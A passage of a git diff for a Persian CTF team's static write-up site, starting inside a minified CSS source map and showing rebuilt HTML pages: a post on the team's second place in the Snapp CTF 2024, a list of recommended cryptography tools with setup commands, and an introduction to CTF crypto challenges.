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","file":"main.css"} \ No newline at end of file diff --git a/blockchain/index.html b/blockchain/index.html index 6d4f0e12..6484b683 100644 --- a/blockchain/index.html +++ b/blockchain/index.html @@ -1,4 +1,4 @@ - بلاکچین - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

بلاکچین

\ No newline at end of file +-->

بلاکچین

\ No newline at end of file diff --git a/blog/2024/02/25/snapp-ctf-2024/index.html b/blog/2024/02/25/snapp-ctf-2024/index.html index 471ab8d4..0bff5945 100644 --- a/blog/2024/02/25/snapp-ctf-2024/index.html +++ b/blog/2024/02/25/snapp-ctf-2024/index.html @@ -1,4 +1,4 @@ - فتح پرچم اسنپ - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

فتح پرچم اسنپ

scoreboard

سلام، امیدوارم حالتون خوب باشه

این اخر هفته تو مسابقه فتح پرچم اسنپ شرکت کردیم و تونستیم رتبه دوم رو کسب کنیم 🥳✌🏻🔥

در ادامه رایت‌آپ بعضی از چالش‌هایی که تیممون موفق به حلشون شده رو قرار دادیم. امیدواریم این مطالب برای عده‌ای مفید و کمک‌کننده واقع شه✨

نام چالش دسته بندی رایت‌آپ
Welcome web رایت‌آپ
Snapp cat! web رایت‌آپ
Snapp fal! web رایت‌آپ
b64 web رایت‌آپ
نام چالش دسته بندی رایت‌آپ
Vitis 🪟 rev رایت‌آپ
TurnOB rev رایت‌آپ
Blink rev رایت‌آپ
نام چالش دسته بندی رایت‌آپ
SNAPP Report 📝 forensics رایت‌آپ
Bandy forensics & misc رایت‌آپ
False sight forensics رایت‌آپ
نام چالش دسته بندی رایت‌آپ
SNAPP Customers OSINT رایت‌آپ
SNAPP Records OSINT رایت‌آپ
SNAPP Bounties OSINT رایت‌آپ
SNAPP Saving OSINT رایت‌آپ
نام چالش دسته بندی رایت‌آپ
Prying eyes 👀 misc رایت‌آپ
Bandy forensics & misc رایت‌آپ
نام چالش دسته بندی رایت‌آپ
Cryptos crypto رایت‌آپ
Bombastic crypto رایت‌آپ
MASCOT crypto رایت‌آپ
Blex crypto رایت‌آپ
نام چالش دسته بندی رایت‌آپ
snapp_admin pwn رایت‌آپ
Snappshell pwn رایت‌آپ

\ No newline at end of file +-->

فتح پرچم اسنپ

scoreboard

سلام، امیدوارم حالتون خوب باشه

این اخر هفته تو مسابقه فتح پرچم اسنپ شرکت کردیم و تونستیم رتبه دوم رو کسب کنیم 🥳✌🏻🔥

در ادامه رایت‌آپ بعضی از چالش‌هایی که تیممون موفق به حلشون شده رو قرار دادیم. امیدواریم این مطالب برای عده‌ای مفید و کمک‌کننده واقع شه✨

نام چالش دسته بندی رایت‌آپ
Welcome web رایت‌آپ
Snapp cat! web رایت‌آپ
Snapp fal! web رایت‌آپ
b64 web رایت‌آپ
نام چالش دسته بندی رایت‌آپ
Vitis 🪟 rev رایت‌آپ
TurnOB rev رایت‌آپ
Blink rev رایت‌آپ
نام چالش دسته بندی رایت‌آپ
SNAPP Report 📝 forensics رایت‌آپ
Bandy forensics & misc رایت‌آپ
False sight forensics رایت‌آپ
نام چالش دسته بندی رایت‌آپ
SNAPP Customers OSINT رایت‌آپ
SNAPP Records OSINT رایت‌آپ
SNAPP Bounties OSINT رایت‌آپ
SNAPP Saving OSINT رایت‌آپ
نام چالش دسته بندی رایت‌آپ
Prying eyes 👀 misc رایت‌آپ
Bandy forensics & misc رایت‌آپ
نام چالش دسته بندی رایت‌آپ
Cryptos crypto رایت‌آپ
Bombastic crypto رایت‌آپ
MASCOT crypto رایت‌آپ
Blex crypto رایت‌آپ
نام چالش دسته بندی رایت‌آپ
snapp_admin pwn رایت‌آپ
Snappshell pwn رایت‌آپ

\ No newline at end of file diff --git a/blog/archive/2024/index.html b/blog/archive/2024/index.html index 64832eee..f4d69fc1 100644 --- a/blog/archive/2024/index.html +++ b/blog/archive/2024/index.html @@ -1 +1 @@ - 2024 - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات

2024

فتح پرچم اسنپ

scoreboard

سلام، امیدوارم حالتون خوب باشه

این اخر هفته تو مسابقه فتح پرچم اسنپ شرکت کردیم و تونستیم رتبه دوم رو کسب کنیم 🥳✌🏻🔥

\ No newline at end of file + 2024 - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات

2024

فتح پرچم اسنپ

scoreboard

سلام، امیدوارم حالتون خوب باشه

این اخر هفته تو مسابقه فتح پرچم اسنپ شرکت کردیم و تونستیم رتبه دوم رو کسب کنیم 🥳✌🏻🔥

\ No newline at end of file diff --git a/blog/category/ctf/index.html b/blog/category/ctf/index.html index c0c9dc42..a251201e 100644 --- a/blog/category/ctf/index.html +++ b/blog/category/ctf/index.html @@ -1 +1 @@ - CTF - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات

CTF

فتح پرچم اسنپ

scoreboard

سلام، امیدوارم حالتون خوب باشه

این اخر هفته تو مسابقه فتح پرچم اسنپ شرکت کردیم و تونستیم رتبه دوم رو کسب کنیم 🥳✌🏻🔥

\ No newline at end of file + CTF - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات

CTF

فتح پرچم اسنپ

scoreboard

سلام، امیدوارم حالتون خوب باشه

این اخر هفته تو مسابقه فتح پرچم اسنپ شرکت کردیم و تونستیم رتبه دوم رو کسب کنیم 🥳✌🏻🔥

\ No newline at end of file diff --git a/blog/index.html b/blog/index.html index 1abd4b1a..5ee4e3a5 100644 --- a/blog/index.html +++ b/blog/index.html @@ -1 +1 @@ - وبلاگ‌ تیم فلگ موتوری - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات

وبلاگ‌ تیم فلگ موتوری

فتح پرچم اسنپ

scoreboard

سلام، امیدوارم حالتون خوب باشه

این اخر هفته تو مسابقه فتح پرچم اسنپ شرکت کردیم و تونستیم رتبه دوم رو کسب کنیم 🥳✌🏻🔥

\ No newline at end of file + وبلاگ‌ تیم فلگ موتوری - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات

وبلاگ‌ تیم فلگ موتوری

فتح پرچم اسنپ

scoreboard

سلام، امیدوارم حالتون خوب باشه

این اخر هفته تو مسابقه فتح پرچم اسنپ شرکت کردیم و تونستیم رتبه دوم رو کسب کنیم 🥳✌🏻🔥

\ No newline at end of file diff --git a/crypto/Tools/index.html b/crypto/Tools/index.html index 8801c52c..d917fe14 100644 --- a/crypto/Tools/index.html +++ b/crypto/Tools/index.html @@ -1,6 +1,6 @@ - از چه ابزاری بهتره استفاده کنیم؟ - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

از چه ابزاری بهتره استفاده کنیم؟

Python

اکثر چالشهایی که باهاشون سر و کار داریم به این زبان نوشته شدند. پایتون یک زبان فوق العاده برای نمونه سازی سریع رمزنگاری است. قابل خواندن است و از اعداد صحیح بزرگ پشتیبانی می کند.

پکیج هایی که پیشنهاد میشه نصب داشته باشید:

  • PyCryptodome
  • gmpy2
  • pwntools

این کار میتونه به سادگی با اجرای دستور زیر انجام بشود:

> pip install PyCryptodome gmpy2 pwntools
 

SageMath

سیستمی با ویژگی هایی که بسیاری از جنبه های ریاضیات از جمله جبر، ترکیبات، نظریه گراف، نظریه گروه، تجزیه و تحلیل عددی، نظریه اعداد، حساب دیفرانسیل و انتگرال و آمار را پوشش می دهد و همچنین این سیستم منبع باز دارای پیشرفته ترین ابزار با پشتیبانی از رمزنگاری مدرن است و بر روی پایتون ساخته شده است.

CryptoHack Docker Image

اگر Docker رو نصب دارید فقط کافیه دستور زیر رو توی ترمنیال اجرا کنید (این Docker Image توسط تیم CryptoHack.org ساخته شده و تقریبا هر چیزی که لازم دارید رو درونش داره):

> docker run -p 127.0.0.1:8888:8888 -it hyperreality/cryptohack:latest
-

لینک های مفید


\ No newline at end of file +

لینک های مفید


نویسنده

تیم فلگ موتوری

\ No newline at end of file diff --git a/crypto/index.html b/crypto/index.html index ed29379b..9c1703e9 100644 --- a/crypto/index.html +++ b/crypto/index.html @@ -1,4 +1,4 @@ - رمزنگاری - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

رمزنگاری

رمزنگاری به هنر نوشتن رمزها و کدهای مخفی گفته می‌شود. رمزهای عبور، اطلاعات بانکی، ارسال و دریافت پیام در پیام‌رسان‌ها و هر چیزی که شامل انتقال و ذخیره اطلاعات در دنیای اینترنتی امروز باشد نیاز به رمزنگاری دارد.
همان‌طور که هیچ الگوریتم یا سیستمی کاملا امن نیست، رمزنگاری‌های موجود (متقارن، نامتقارن، امضای دیجیتال) نیز ممکن است دارای نقص‌هایی باشند. هدف چالش‌های رمزنگاری در مسابقه‌های CTF ایجاد آشنایی با این نقص‌ها و بالا بردن دانش افراد در زمینه مفاهیم پایه‌ای رمزنگاری یعنی مباحث ریاضی آن‌ها است. این چالش‌ها شامل شکستن الگوریتم رمزنگاری، رمزگشایی متون رمزی یا دور زدن الگوریتم‌های رمزنگاری در سامانه‌ها و پروتکل‌های مختلف است که به درستی پیاده نشده‌اند. با این حال، بسیاری از این چالش‌ها تنها به استفاده نادرست از الگوریتم‌های رمزنگاری می‌پردازند که نیاز به دانش عمیقی از روابط ریاضی آنها ندارد.

crypto.png

انواع چالش رمزنگاری در CTF

الگوریتم‌ها و طرح‌های رمزنگاری دارای انواع مختلفی هستند. ما در این جا فارغ از نوع و کاربرد آن‌ها، تنها چالش‌های رمزنگاری در مسابقات CTF را به دو دسته کلی تقسیم می‌کنیم:

۱- مبتنی بر مفاهیم ریاضی

این چالش‌ها صرفا به مفاهیم پایه‌ای ریاضی متمرکز هستند و نیاز به حل یک مسئله ریاضی برای آن چالش رمزنگاری دارند. برای بدست آوردن پرچم در این نوع چالش‌ها، شما نیاز به داشتن دانش کافی در مباحث ریاضیات رمزنگاری مانند محاسبات پیمانه‌ای، لگاریتم‌های گسسته، معادلات چندجمله‌ای، منحنی‌های بیضوی و ریاضیات مشبکه (Lattice) دارید.

۲- مبتنی بر خطای پیاده‌سازی

برخی اوقات نفوذها و شکستن رمزنگاری‌های موجود در یک سامانه به دلیل نقص در خود الگوریتم رمزنگاری نیست بلکه عدم تجربه کافی در بکارگیری درست این الگوریتم‌ها، سبب ایجاد آسیب‌پذیری در یک سامانه مبتنی بر رمزنگاری می‌شود. بنابراین در این نوع چالش‌ها، نیاز به دانش عمیق در مورد آن رمزنگاری نیست و تنها کافی است که نقص پیاده سازی را کشف و از آن برای دور زدن رمزنگاری استفاده کنیم.

